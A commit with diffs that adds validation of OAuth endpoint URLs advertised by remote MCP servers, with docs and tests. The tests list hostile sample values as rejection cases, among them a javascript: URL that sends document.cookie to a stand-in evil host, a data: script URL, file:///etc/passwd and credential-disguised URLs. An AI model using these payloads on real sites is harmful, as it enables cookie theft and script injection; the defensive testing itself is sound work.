fix(security): validate discovered OAuth endpoints before browser navigation

A generic remote MCP connection lets the server it points at advertise its own
authorization-server metadata, and `authorization_endpoint` was accepted as an
arbitrary string: `startOAuth` built a `URL` from it and the board passed the
result to `window.location.assign`. A hostile server could therefore advertise
`javascript:`/`data:` to run script in the board's origin, `file:` to read a
local path, or plain `http:`/a credential-bearing URL to downgrade or disguise
where the operator was being sent.

Parse every OAuth endpoint through one shared validator instead — discovered
metadata, `WWW-Authenticate` hints, pasted/persisted config, and gallery
defaults alike. It requires https (loopback http only under the existing
local-development policy, plus this deployment's own origin, which is how the
smoke-lab fixture is served), and rejects embedded credentials, fragments and
malformed values. Discovery drops an unusable endpoint so a second advertised
authorization server still gets a chance, and raises the refusal only if nothing
safe was found — so an unsafe value is never persisted and never reported as a
bare "does not advertise OAuth sign in". The token and registration endpoints go
through the same gate, so a row written before this existed cannot send a code or
client secret over plaintext.

The board applies the same validator at the navigation boundary rather than
trusting the response body, and — since a valid HTTPS page can still phish —
names the authorization host on the redirect screen while keeping the
"Unverified server" label.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
DottaandClaude Opus 5 committed 2026-08-20 21:20:01 +00:00
1 parent b2bf4599c3
commit 920fe47d35
13 files changed
+981 -33

No files matched your search

+27
View File
@@ -112,6 +112,33 @@ URL, the callback URI, and the company. If any of those change:
Credentials are never reused across issuers or across companies.
### Endpoint addresses are validated before they are used
Every OAuth endpoint address is chosen by the remote server — in discovered
metadata, in a `WWW-Authenticate` hint, in a pasted config, or in a gallery
default — and the authorization endpoint additionally becomes a top-level browser
navigation. All of them are parsed by one shared validator
(`checkOAuthEndpointUrl` in `@paperclipai/shared`) and must be:
- **`https:`.** Plain `http:` is refused, except for a loopback host under the
local-development policy (the same policy that allows private remote
endpoints), and except for this deployment's own origin.
- **Free of embedded credentials.** `https://accounts.google.com@evil.test/…`
reads as the wrong site to a human, so Paperclip refuses it.
- **Free of a fragment**, and a well-formed absolute URL.
`javascript:`, `data:`, `file:` and friends are therefore refused before they can
reach `window.location`. The board applies the same validator to the address it
receives, so an unsafe value cannot pass the API boundary and then execute at the
navigation boundary. A refusal is reported as
`oauth_<kind>_endpoint_rejected` (422) and the unsafe value is never persisted on
the connection.
An address that passes is still only an address: a valid HTTPS authorization page
can be a phishing page. The redirect screen names the host you are being sent to,
and the **Unverified server** label stays visible for an endpoint with no curated
definition.
### Protocol conformance
- RFC 8707 `resource` on authorization, token, and refresh requests, naming the
+10
View File
@@ -266,6 +266,16 @@ export {
type McpRemoteHeaderCheck,
type McpRemoteHeaderRejection,
} from "./mcp-remote-headers.js";
export {
checkOAuthEndpointUrl,
isSafeOAuthEndpointUrl,
oauthEndpointDisplayHost,
oauthEndpointUrlRejectionMessage,
type OAuthEndpointKind,
type OAuthEndpointUrlCheck,
type OAuthEndpointUrlOptions,
type OAuthEndpointUrlRejection,
} from "./oauth-endpoint-url.js";
export {
COMPANY_STATUSES,
DEFAULT_COMPANY_ATTACHMENT_MAX_BYTES,
@@ -0,0 +1,182 @@
import { describe, expect, it } from "vitest";
import {
checkOAuthEndpointUrl,
isSafeOAuthEndpointUrl,
oauthEndpointDisplayHost,
oauthEndpointUrlRejectionMessage,
} from "./oauth-endpoint-url.js";
describe("checkOAuthEndpointUrl", () => {
it("accepts an https endpoint and returns its normalized url and host", () => {
const check = checkOAuthEndpointUrl("https://auth.example.test/oauth/authorize?prompt=consent");
expect(check).toEqual({
ok: true,
url: "https://auth.example.test/oauth/authorize?prompt=consent",
host: "auth.example.test",
});
});
it("keeps a non-default port in the displayed host", () => {
const check = checkOAuthEndpointUrl("https://auth.example.test:8443/authorize");
expect(check.ok && check.host).toBe("auth.example.test:8443");
});
// The values a hostile MCP server would advertise to get code running in the
// board's origin or to read a local file.
it.each([
["javascript:alert(document.cookie)", "unsupported_scheme"],
["javascript:fetch('https://evil.test/'+document.cookie)", "unsupported_scheme"],
["data:text/html,<script>alert(1)</script>", "unsupported_scheme"],
["file:///etc/passwd", "unsupported_scheme"],
["vbscript:msgbox(1)", "unsupported_scheme"],
["about:blank", "unsupported_scheme"],
["blob:https://auth.example.test/1234", "unsupported_scheme"],
["chrome://settings", "unsupported_scheme"],
])("rejects %s", (value, reason) => {
expect(checkOAuthEndpointUrl(value)).toEqual({ ok: false, reason });
expect(isSafeOAuthEndpointUrl(value)).toBe(false);
});
it("rejects a scheme that only differs by case or padding", () => {
expect(checkOAuthEndpointUrl(" JavaScript:alert(1) ").ok).toBe(false);
expect(checkOAuthEndpointUrl("JAVASCRIPT:alert(1)")).toEqual({ ok: false, reason: "unsupported_scheme" });
});
it("rejects plaintext http by default, loopback included", () => {
expect(checkOAuthEndpointUrl("http://auth.example.test/authorize")).toEqual({
ok: false,
reason: "insecure_transport",
});
expect(checkOAuthEndpointUrl("http://127.0.0.1:9000/authorize")).toEqual({
ok: false,
reason: "insecure_transport",
});
});
it("allows loopback http only under the local-development policy", () => {
const options = { allowInsecureLoopback: true };
for (const value of [
"http://localhost:3100/authorize",
"http://app.localhost:3100/authorize",
"http://127.0.0.1:3100/authorize",
"http://127.9.9.9:3100/authorize",
"http://[::1]:3100/authorize",
]) {
expect(checkOAuthEndpointUrl(value, options).ok, value).toBe(true);
}
});
it("still rejects non-loopback http under the local-development policy", () => {
for (const value of [
"http://auth.example.test/authorize",
"http://10.0.0.5/authorize",
// Hosts that only *look* loopback.
"http://127.0.0.1.evil.test/authorize",
"http://localhost.evil.test/authorize",
"http://notlocalhost/authorize",
]) {
expect(checkOAuthEndpointUrl(value, { allowInsecureLoopback: true }), value).toEqual({
ok: false,
reason: "insecure_transport",
});
}
});
it("allows plaintext http for Paperclip's own origin only", () => {
const options = { allowInsecureOrigins: ["http://paperclip.test"] };
expect(checkOAuthEndpointUrl("http://paperclip.test/api/smoke-lab/oauth/authorize", options).ok).toBe(true);
// Port and scheme are part of the origin, so a neighbour is not exempt.
expect(checkOAuthEndpointUrl("http://paperclip.test:8080/authorize", options)).toEqual({
ok: false,
reason: "insecure_transport",
});
expect(checkOAuthEndpointUrl("http://evil.test/authorize", options)).toEqual({
ok: false,
reason: "insecure_transport",
});
// The exemption is about transport only: an unsafe scheme is still unsafe.
expect(checkOAuthEndpointUrl("javascript:alert(1)", options)).toEqual({
ok: false,
reason: "unsupported_scheme",
});
// A garbage entry in the exemption list cannot open anything up.
expect(checkOAuthEndpointUrl("http://paperclip.test/authorize", { allowInsecureOrigins: ["nonsense"] })).toEqual({
ok: false,
reason: "insecure_transport",
});
});
it("rejects embedded credentials that disguise the real origin", () => {
expect(checkOAuthEndpointUrl("https://accounts.google.com@evil.test/authorize")).toEqual({
ok: false,
reason: "embedded_credentials",
});
expect(checkOAuthEndpointUrl("https://user:pw@auth.example.test/authorize")).toEqual({
ok: false,
reason: "embedded_credentials",
});
});
it("rejects a fragment", () => {
expect(checkOAuthEndpointUrl("https://auth.example.test/authorize#/../../evil")).toEqual({
ok: false,
reason: "fragment",
});
});
it("rejects malformed and empty values", () => {
expect(checkOAuthEndpointUrl("/authorize")).toEqual({ ok: false, reason: "malformed" });
expect(checkOAuthEndpointUrl("not a url")).toEqual({ ok: false, reason: "malformed" });
expect(checkOAuthEndpointUrl("https://")).toEqual({ ok: false, reason: "malformed" });
// A special scheme with no authority is re-parsed by WHATWG as a hostname,
// so it lands on the transport rule rather than being treated as relative.
expect(checkOAuthEndpointUrl("http:relative", { allowInsecureLoopback: true })).toEqual({
ok: false,
reason: "insecure_transport",
});
expect(checkOAuthEndpointUrl("")).toEqual({ ok: false, reason: "missing" });
expect(checkOAuthEndpointUrl(" ")).toEqual({ ok: false, reason: "missing" });
expect(checkOAuthEndpointUrl(null)).toEqual({ ok: false, reason: "missing" });
expect(checkOAuthEndpointUrl({ href: "https://auth.example.test" })).toEqual({
ok: false,
reason: "missing",
});
});
});
describe("oauthEndpointUrlRejectionMessage", () => {
it("names the endpoint without echoing the untrusted value", () => {
const message = oauthEndpointUrlRejectionMessage("authorization", "unsupported_scheme");
expect(message).toContain("sign-in");
expect(message).toContain("https");
expect(message).not.toContain("javascript");
});
it("covers every rejection reason for every endpoint kind", () => {
for (const kind of ["authorization", "token", "registration", "metadata"] as const) {
for (const reason of [
"missing",
"malformed",
"unsupported_scheme",
"insecure_transport",
"embedded_credentials",
"fragment",
] as const) {
expect(oauthEndpointUrlRejectionMessage(kind, reason).length, `${kind}/${reason}`).toBeGreaterThan(0);
}
}
});
});
describe("oauthEndpointDisplayHost", () => {
it("returns the host for display", () => {
expect(oauthEndpointDisplayHost("https://auth.example.test/authorize?x=1")).toBe("auth.example.test");
expect(oauthEndpointDisplayHost("https://auth.example.test:8443/authorize")).toBe("auth.example.test:8443");
});
it("returns null for a value with no host", () => {
expect(oauthEndpointDisplayHost("javascript:alert(1)")).toBeNull();
expect(oauthEndpointDisplayHost("nonsense")).toBeNull();
expect(oauthEndpointDisplayHost(null)).toBeNull();
});
});
+173
View File
@@ -0,0 +1,173 @@
/**
* Scheme/transport safety for OAuth endpoints Paperclip learned from a remote
* server (PAP-17099).
*
* A generic remote MCP connection can point at any endpoint, and that endpoint
* gets to advertise its own authorization-server metadata. The
* `authorization_endpoint` it names is not just fetched server-side — Paperclip
* hands it to the operator's browser as a top-level navigation, so an arbitrary
* string there is a code-execution and open-redirect primitive:
* `javascript:` / `data:` would run in the board's origin, and plain `http:`
* would carry the authorization request (and the operator) over a network any
* intermediary can rewrite.
*
* So every endpoint URL discovered from metadata, pasted by an operator, taken
* from a `WWW-Authenticate` hint, or shipped as a gallery default is parsed
* here — once, in shared code — and must be:
*
* - a well-formed absolute URL (anything `new URL` rejects is rejected);
* - `https:`, or `http:` only for a loopback host under the caller's explicit
* local-development policy (the server passes its private-network policy, the
* board passes "am I myself served over plaintext HTTP");
* - free of embedded credentials, because `https://evil.test@real.test/...`
* reads as the wrong origin to a human and Paperclip must not help;
* - free of a fragment, which never survives an authorization request usefully
* and is a classic way to hide the effective target from a reader.
*
* Both the server and the board import this so a value that passes the API
* boundary cannot fail the navigation boundary, or vice versa.
*/
export type OAuthEndpointKind = "authorization" | "token" | "registration" | "metadata";
export type OAuthEndpointUrlRejection =
| "missing"
| "malformed"
| "unsupported_scheme"
| "insecure_transport"
| "embedded_credentials"
| "fragment";
export interface OAuthEndpointUrlOptions {
/**
* Allow `http:` for loopback hosts. Only true under an explicit
* local-development policy — never for a public deployment.
*/
allowInsecureLoopback?: boolean;
/**
* Origins whose `http:` is already the operator's own trust boundary —
* in practice just Paperclip's own deployment origin. A deployment served over
* plaintext HTTP on a LAN address can still run its own authorization
* endpoints (the smoke-lab fixture does), and opening Paperclip from Paperclip
* adds no exposure the board does not already have.
*/
allowInsecureOrigins?: string[];
}
export type OAuthEndpointUrlCheck =
| { ok: true; url: string; host: string }
| { ok: false; reason: OAuthEndpointUrlRejection };
/** `127.0.0.0/8` — the whole loopback range, not just `127.0.0.1`. */
function isLoopbackIpv4(hostname: string): boolean {
const parts = hostname.split(".");
if (parts.length !== 4) return false;
if (!parts.every((part) => /^\d{1,3}$/.test(part) && Number(part) <= 255)) return false;
return parts[0] === "127";
}
function isLoopbackHost(hostname: string): boolean {
const host = hostname.replace(/^\[|\]$/g, "").toLowerCase();
if (host === "localhost" || host.endsWith(".localhost")) return true;
if (host === "::1") return true;
const mapped = host.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/);
if (mapped?.[1]) return isLoopbackIpv4(mapped[1]);
return isLoopbackIpv4(host);
}
function normalizedOrigin(value: string): string | null {
try {
const origin = new URL(value).origin;
return origin === "null" ? null : origin;
} catch {
return null;
}
}
function insecureTransportAllowed(parsed: URL, options: OAuthEndpointUrlOptions): boolean {
if (options.allowInsecureLoopback && isLoopbackHost(parsed.hostname)) return true;
return (options.allowInsecureOrigins ?? []).some((origin) => normalizedOrigin(origin) === parsed.origin);
}
/**
* Is `value` an OAuth endpoint Paperclip is willing to use — and, for the
* authorization endpoint, to navigate a browser to? Returns the normalized URL
* and its host on success, or the specific rejection reason so callers can
* produce an actionable message.
*/
export function checkOAuthEndpointUrl(
value: unknown,
options: OAuthEndpointUrlOptions = {},
): OAuthEndpointUrlCheck {
if (typeof value !== "string" || value.trim().length === 0) {
return { ok: false, reason: "missing" };
}
let parsed: URL;
try {
parsed = new URL(value.trim());
} catch {
return { ok: false, reason: "malformed" };
}
if (parsed.protocol !== "https:" && parsed.protocol !== "http:") {
return { ok: false, reason: "unsupported_scheme" };
}
// A `javascript:`/`data:` URL has no host, and neither does something like
// `http:relative` — without an authority there is no origin to trust.
if (!parsed.hostname) return { ok: false, reason: "malformed" };
if (parsed.protocol === "http:" && !insecureTransportAllowed(parsed, options)) {
return { ok: false, reason: "insecure_transport" };
}
if (parsed.username || parsed.password) return { ok: false, reason: "embedded_credentials" };
if (parsed.hash) return { ok: false, reason: "fragment" };
return { ok: true, url: parsed.toString(), host: parsed.host };
}
export function isSafeOAuthEndpointUrl(value: unknown, options: OAuthEndpointUrlOptions = {}): boolean {
return checkOAuthEndpointUrl(value, options).ok;
}
const KIND_LABELS: Record<OAuthEndpointKind, string> = {
authorization: "sign-in",
token: "token",
registration: "client registration",
metadata: "metadata",
};
/**
* A UI-safe explanation for a rejected endpoint. Never echoes the URL, because
* the string came from the remote server and may itself be the attack.
*/
export function oauthEndpointUrlRejectionMessage(
kind: OAuthEndpointKind,
reason: OAuthEndpointUrlRejection,
): string {
const label = KIND_LABELS[kind];
switch (reason) {
case "missing":
return `This server did not provide a ${label} address.`;
case "malformed":
return `This server's ${label} address is not a valid URL, so Paperclip stopped.`;
case "unsupported_scheme":
return `This server's ${label} address does not use https, so Paperclip stopped.`;
case "insecure_transport":
return `This server's ${label} address is not secure (https), so Paperclip stopped.`;
case "embedded_credentials":
return `This server's ${label} address hides a different site behind a username, so Paperclip stopped.`;
case "fragment":
return `This server's ${label} address is malformed for sign-in, so Paperclip stopped.`;
}
}
/**
* The host to show an operator before they are sent to an authorization page.
* `null` when the value is not a usable URL — callers should be refusing to
* navigate at that point anyway.
*/
export function oauthEndpointDisplayHost(value: unknown): string | null {
if (typeof value !== "string" || !value.trim()) return null;
try {
return new URL(value.trim()).host || null;
} catch {
return null;
}
}
@@ -72,6 +72,13 @@ type FixtureOptions = {
dcr?: boolean;
/** Serve authorization-server metadata under the RFC 8414 insertion path only. */
wellKnownStyle?: "rfc8414" | "oidc-suffix";
/**
* Advertise this exact string as `authorization_endpoint` (PAP-17099). The
* value is whatever a hostile server wants — it is never a trusted URL.
*/
authorizationEndpoint?: string;
/** Advertise this exact string as `token_endpoint` (PAP-17099). */
tokenEndpoint?: string;
/** Value the token endpoint returns as the issuer, for `iss` tests. */
tools?: unknown[];
};
@@ -136,8 +143,8 @@ function installMcpOAuthFixture(options: FixtureOptions = {}) {
const authorizationServerMetadata = () => ({
issuer: ISSUER,
authorization_endpoint: `${ISSUER}/authorize`,
token_endpoint: `${ISSUER}/token`,
authorization_endpoint: options.authorizationEndpoint ?? `${ISSUER}/authorize`,
token_endpoint: options.tokenEndpoint ?? `${ISSUER}/token`,
...(options.dcr === false ? {} : { registration_endpoint: `${ISSUER}/register` }),
...(options.cimd ? { client_id_metadata_document_supported: true } : {}),
code_challenge_methods_supported: ["S256"],
@@ -680,6 +687,112 @@ describeEmbeddedPostgres("generic remote MCP connections", () => {
})).rejects.toMatchObject({ details: { code: "oauth_manual_client_rebinding_required" } });
});
/**
* PAP-17099 — the authorization endpoint is the one discovered value Paperclip
* hands to the operator's browser as a top-level navigation, so a hostile
* server must not be able to advertise a scheme that runs code in the board's
* origin, reads a local file, or downgrades the authorization request.
*/
describe("unsafe advertised authorization endpoints", () => {
it.each([
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
["data:", "data:text/html,<script>alert(document.domain)</script>"],
["file:", "file:///etc/passwd"],
["plaintext http", "http://evil.fixture.test/authorize"],
["credentials disguising the origin", "https://mcp.fixture.test@evil.fixture.test/authorize"],
["a fragment", "https://auth.fixture.test/authorize#@evil.fixture.test"],
["a malformed url", "not-a-url"],
])("refuses to connect when the server advertises %s", async (_label, authorizationEndpoint) => {
installMcpOAuthFixture({ auth: "oauth", authorizationEndpoint });
const company = await createCompany(db);
const service = toolAccessService(db);
await expect(service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture hostile authorize" }))
.rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } });
// Nothing about the refused endpoint is persisted, so a later reconnect
// cannot pick it back up out of the connection config.
const [connection] = await db.select().from(toolConnections);
expect(JSON.stringify(connection?.config ?? {})).not.toContain(authorizationEndpoint);
await expect(db.select().from(toolOauthStates)).resolves.toHaveLength(0);
});
it("never navigates to a stored authorization endpoint that is unsafe", async () => {
installMcpOAuthFixture({ auth: "oauth" });
const company = await createCompany(db);
const service = toolAccessService(db);
const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture poisoned config" });
// A row written before the gate existed (or by any other writer) is not
// trusted just because it is in Paperclip's own database.
const poisonStoredAuthorizationUrl = async () => {
const [row] = await db.select().from(toolConnections).where(eq(toolConnections.id, connected.connectionId));
const poisoned = {
...row!.config,
oauth: { ...(row!.config.oauth as Record<string, unknown>), authorizationUrl: "javascript:alert(1)" },
};
await db.update(toolConnections)
.set({ config: poisoned, transportConfig: poisoned })
.where(eq(toolConnections.id, connected.connectionId));
};
await poisonStoredAuthorizationUrl();
// The stored value is discarded and re-discovered rather than opened.
const start = await service.startOAuth(company.id, connected.connectionId, {
redirectUri: REDIRECT_URI,
actor: { actorType: "user", actorId: "board-user" },
});
expect(start.authorizationUrl.startsWith(`${ISSUER}/authorize?`)).toBe(true);
// And when re-discovery cannot supply a safe endpoint, sign-in fails
// closed with the reason instead of falling back to the stored value.
await db.delete(toolOauthStates);
await poisonStoredAuthorizationUrl();
vi.restoreAllMocks();
vi.spyOn(globalThis, "fetch").mockResolvedValue(jsonResponse({}, 404));
await expect(service.startOAuth(company.id, connected.connectionId, {
redirectUri: REDIRECT_URI,
actor: { actorType: "user", actorId: "board-user" },
})).rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } });
await expect(db.select().from(toolOauthStates)).resolves.toHaveLength(0);
});
it("refuses an unsafe token endpoint even when the authorization endpoint is fine", async () => {
installMcpOAuthFixture({ auth: "oauth", tokenEndpoint: "http://evil.fixture.test/token" });
const company = await createCompany(db);
const service = toolAccessService(db);
await expect(service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture hostile token" }))
.rejects.toMatchObject({ status: 422, details: { code: "oauth_token_endpoint_rejected" } });
});
it("allows loopback http only outside an authenticated public deployment", async () => {
installMcpOAuthFixture({ auth: "oauth", authorizationEndpoint: "http://127.0.0.1:8930/authorize" });
const company = await createCompany(db);
// Default deployment = local development, where a loopback authorization
// server is how someone tests their own MCP server.
const service = toolAccessService(db);
const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture loopback authorize" });
const start = await service.startOAuth(company.id, connected.connectionId, {
redirectUri: REDIRECT_URI,
actor: { actorType: "user", actorId: "board-user" },
});
expect(new URL(start.authorizationUrl).origin).toBe("http://127.0.0.1:8930");
// Same connection, same discovered endpoint, authenticated public
// deployment: the local-development exception no longer applies.
await db.delete(toolOauthStates);
const publicService = toolAccessService(db, {
deploymentMode: "authenticated",
deploymentExposure: "public",
});
await expect(publicService.startOAuth(company.id, connected.connectionId, {
redirectUri: REDIRECT_URI,
actor: { actorType: "user", actorId: "board-user" },
})).rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } });
});
});
it("rejects a private-network endpoint in an authenticated public deployment", async () => {
installMcpOAuthFixture({ auth: "public" });
const company = await createCompany(db);
+210 -23
View File
@@ -116,6 +116,12 @@ import {
mcpRemoteHeaderNameFromConfigPath,
mcpRemoteHeaderRejectionMessage,
} from "@paperclipai/shared";
import {
checkOAuthEndpointUrl,
oauthEndpointUrlRejectionMessage,
type OAuthEndpointKind,
type OAuthEndpointUrlRejection,
} from "@paperclipai/shared";
import { badRequest, conflict, forbidden, HttpError, notFound, unprocessable } from "../errors.js";
import { logActivity } from "./activity-log.js";
import { mcpHttpRequestHeaders, parseMcpHttpResponseBody } from "./mcp-http.js";
@@ -1515,9 +1521,38 @@ function descriptorHash(tool: McpToolDescriptor, riskLevel: ToolRiskLevel): stri
});
}
/**
* Did this error come from the OAuth endpoint gate (PAP-17099)? Such a refusal
* is Paperclip's own decision about an unsafe address, so it must keep its code
* and its 422 instead of being folded into a generic upstream failure.
*/
function originOf(value: string | null | undefined): string | null {
if (!value) return null;
try {
return new URL(value).origin;
} catch {
return null;
}
}
function isOAuthEndpointRejection(error: unknown): boolean {
if (!(error instanceof HttpError)) return false;
const code = asRecord(error.details).code;
return typeof code === "string" && code.endsWith("_endpoint_rejected");
}
function healthFailureHttpStatus(failure: { status: ToolConnectionHealthStatus; code: string }): number {
if (failure.status === "missing_secret") return 422;
if (failure.code.endsWith("_endpoint_rejected")) return 422;
return 502;
}
function sanitizeHttpFailure(error: unknown): { status: ToolConnectionHealthStatus; message: string; code: string } {
if (error instanceof HttpError) {
const code = asRecord(error.details).code;
if (isOAuthEndpointRejection(error)) {
return { status: "error", message: error.message, code: String(code) };
}
if (code === "oauth_challenge") {
return {
status: "error",
@@ -1651,6 +1686,94 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
return assertRemoteHttpUrlAllowed(remoteEndpoint(config));
}
/**
* OAuth endpoint scheme/transport gate (PAP-17099).
*
* Every OAuth endpoint Paperclip acts on is attacker-influenced: discovered
* metadata, a `WWW-Authenticate` hint, a pasted config, or a gallery default.
* The authorization endpoint is the sharpest one because it is handed to the
* operator's browser as a top-level navigation, so `javascript:`/`data:` there
* would run in the board's origin. `checkOAuthEndpointUrl` is the single place
* that decides; loopback `http:` is accepted only under the same
* local-development policy that governs private remote endpoints, and
* Paperclip's own origin is exempt from the transport rule because a
* first-party endpoint (the smoke-lab fixture) is served exactly as the board
* itself is.
*/
function oauthEndpointRejected(kind: OAuthEndpointKind, reason: OAuthEndpointUrlRejection): HttpError {
return new HttpError(422, oauthEndpointUrlRejectionMessage(kind, reason), {
code: `oauth_${kind}_endpoint_rejected`,
reason,
});
}
/**
* Origins that are Paperclip itself: this deployment's configured public URL,
* plus the callback origin of the request in hand when there is one. Only the
* plaintext-transport rule is relaxed for these.
*/
function firstPartyOrigins(candidate?: string | null): string[] {
const configured = process.env.PAPERCLIP_PUBLIC_URL?.trim()
|| process.env.PAPERCLIP_AUTH_PUBLIC_BASE_URL?.trim()
|| process.env.BETTER_AUTH_URL?.trim()
|| process.env.BETTER_AUTH_BASE_URL?.trim()
|| null;
return [originOf(candidate), originOf(configured)].filter((origin): origin is string => Boolean(origin));
}
/**
* Origins for which the plaintext-transport rule is relaxed when checking
* `value`. Adds the smoke-lab fixture's own origin, because that provider is
* mounted on this deployment's own routes — `assertNotSmokeLabOAuthEndpoints`
* is what stops any other connection from claiming those paths — and a smoke
* run may be driven against a deployment served over plaintext HTTP.
*/
function insecureTransportExemptions(value: unknown, candidate?: string | null): string[] {
const origins = firstPartyOrigins(candidate);
if (typeof value === "string" && isSmokeLabOAuthUrl(value)) {
const origin = originOf(value);
if (origin) origins.push(origin);
}
return origins;
}
/** Throws unless `value` is an endpoint Paperclip may use (and navigate to). */
function assertOAuthEndpointUrl(
kind: OAuthEndpointKind,
value: unknown,
options: { firstPartyOrigin?: string | null } = {},
): string {
const check = checkOAuthEndpointUrl(value, {
allowInsecureLoopback: allowPrivateRemoteEndpoints(),
allowInsecureOrigins: insecureTransportExemptions(value, options.firstPartyOrigin),
});
if (!check.ok) throw oauthEndpointRejected(kind, check.reason);
return check.url;
}
/**
* Discovery variant: an unusable endpoint is dropped rather than thrown, so a
* second advertised authorization server (or a later metadata candidate) still
* gets a chance. Rejections are recorded in `rejections`; discovery raises the
* first one only if it ends up with nothing safe to use, so the operator sees
* *why* instead of a bare "does not advertise OAuth sign in".
*/
function safeOAuthEndpointUrl(
kind: OAuthEndpointKind,
value: unknown,
rejections: HttpError[],
firstPartyOrigin?: string | null,
): string | null {
if (value === null || value === undefined || value === "") return null;
const check = checkOAuthEndpointUrl(value, {
allowInsecureLoopback: allowPrivateRemoteEndpoints(),
allowInsecureOrigins: insecureTransportExemptions(value, firstPartyOrigin),
});
if (check.ok) return check.url;
if (check.reason !== "missing") rejections.push(oauthEndpointRejected(kind, check.reason));
return null;
}
function trustedRuntimeHost() {
return options.trustedLocalStdioRuntimeHost
?? process.env.PAPERCLIP_TRUSTED_MCP_RUNTIME_HOST
@@ -3248,7 +3371,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
actor,
details: { status: failure.status, transport: connection.transport },
});
throw new HttpError(failure.status === "missing_secret" ? 422 : 502, failure.message, {
throw new HttpError(healthFailureHttpStatus(failure), failure.message, {
code: failure.code,
connection: toConnection(updated),
runtimeSlot,
@@ -3276,7 +3399,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
details: { status: failure.status },
actor,
});
throw new HttpError(failure.status === "missing_secret" ? 422 : 502, failure.message, {
throw new HttpError(healthFailureHttpStatus(failure), failure.message, {
code: failure.code,
setupUrl: connectionSetupUrl(connection),
reconnectUrl: connectionReconnectUrl(connection),
@@ -4253,12 +4376,16 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
async function endpointsFromMetadataUrl(
connection: typeof toolConnections.$inferSelect,
metadataUrl: string,
rejections: HttpError[] = [],
firstPartyOrigin?: string | null,
): Promise<OAuthProviderEndpoints | null> {
const metadata = await fetchJsonRecord(metadataUrl);
if (!metadata) return null;
let authorizationUrl = typeof metadata.authorization_endpoint === "string" ? metadata.authorization_endpoint : null;
let tokenUrl = typeof metadata.token_endpoint === "string" ? metadata.token_endpoint : null;
let registrationUrl = typeof metadata.registration_endpoint === "string" ? metadata.registration_endpoint : null;
// Every endpoint below is a string the remote server chose, so none of them
// is adopted before `safeOAuthEndpointUrl` has vetted its scheme and host.
let authorizationUrl = safeOAuthEndpointUrl("authorization", metadata.authorization_endpoint, rejections, firstPartyOrigin);
let tokenUrl = safeOAuthEndpointUrl("token", metadata.token_endpoint, rejections, firstPartyOrigin);
let registrationUrl = safeOAuthEndpointUrl("registration", metadata.registration_endpoint, rejections, firstPartyOrigin);
let scopes = normalizeOauthScopes(metadata.scopes_supported);
let codeChallengeMethodsSupported = normalizeOauthScopes(metadata.code_challenge_methods_supported);
let tokenEndpointAuthMethodsSupported = normalizeOauthScopes(metadata.token_endpoint_auth_methods_supported);
@@ -4276,10 +4403,13 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
for (const candidate of authServerMetadataUrls(metadata)) {
const authMetadata = await fetchJsonRecord(candidate.metadataUrl);
if (!authMetadata) continue;
const candidateAuthorizationUrl = typeof authMetadata.authorization_endpoint === "string"
? authMetadata.authorization_endpoint
: null;
const candidateTokenUrl = typeof authMetadata.token_endpoint === "string" ? authMetadata.token_endpoint : null;
const candidateAuthorizationUrl = safeOAuthEndpointUrl(
"authorization",
authMetadata.authorization_endpoint,
rejections,
firstPartyOrigin,
);
const candidateTokenUrl = safeOAuthEndpointUrl("token", authMetadata.token_endpoint, rejections, firstPartyOrigin);
if (!candidateAuthorizationUrl && !candidateTokenUrl) continue;
// RFC 8414 §3.3: the metadata document's `issuer` must match the issuer we
// used to build the discovery URL, or the document is not authoritative.
@@ -4289,7 +4419,8 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
if (advertisedIssuer && !sameOAuthIssuer(advertisedIssuer, candidate.issuer)) continue;
authorizationUrl = authorizationUrl ?? candidateAuthorizationUrl;
tokenUrl = tokenUrl ?? candidateTokenUrl;
registrationUrl = registrationUrl ?? (typeof authMetadata.registration_endpoint === "string" ? authMetadata.registration_endpoint : null);
registrationUrl = registrationUrl
?? safeOAuthEndpointUrl("registration", authMetadata.registration_endpoint, rejections, firstPartyOrigin);
issuer = issuer ?? advertisedIssuer ?? candidate.issuer;
if (scopes.length === 0) scopes = normalizeOauthScopes(authMetadata.scopes_supported);
if (codeChallengeMethodsSupported.length === 0) {
@@ -4322,12 +4453,28 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
async function discoverOAuthEndpoints(
connection: typeof toolConnections.$inferSelect,
challenge?: string | null,
firstPartyOrigin?: string | null,
): Promise<OAuthProviderEndpoints | null> {
const oauth = oauthConfig(connection);
const hints = challenge ? challengeOAuthHints(challenge) : null;
const configuredAuthorizationUrl =
typeof oauth.authorizationUrl === "string" ? oauth.authorizationUrl : hints?.authorizationUrl ?? null;
const configuredTokenUrl = typeof oauth.tokenUrl === "string" ? oauth.tokenUrl : hints?.tokenUrl ?? null;
// A configured endpoint was pasted by an operator or persisted from an
// earlier discovery, and a hint came straight out of the endpoint's
// `WWW-Authenticate` header. Neither is more trusted than metadata, so both
// go through the same gate; an unusable one is dropped so full metadata
// discovery still runs below.
const rejections: HttpError[] = [];
const configuredAuthorizationUrl = safeOAuthEndpointUrl(
"authorization",
typeof oauth.authorizationUrl === "string" ? oauth.authorizationUrl : hints?.authorizationUrl ?? null,
rejections,
firstPartyOrigin,
);
const configuredTokenUrl = safeOAuthEndpointUrl(
"token",
typeof oauth.tokenUrl === "string" ? oauth.tokenUrl : hints?.tokenUrl ?? null,
rejections,
firstPartyOrigin,
);
const provider = oauthProviderForConnection(connection, typeof oauth.metadataUrl === "string" ? oauth.metadataUrl : hints?.metadataUrl);
const scopes = normalizeOauthScopes(oauth.scopes).length > 0
? normalizeOauthScopes(oauth.scopes)
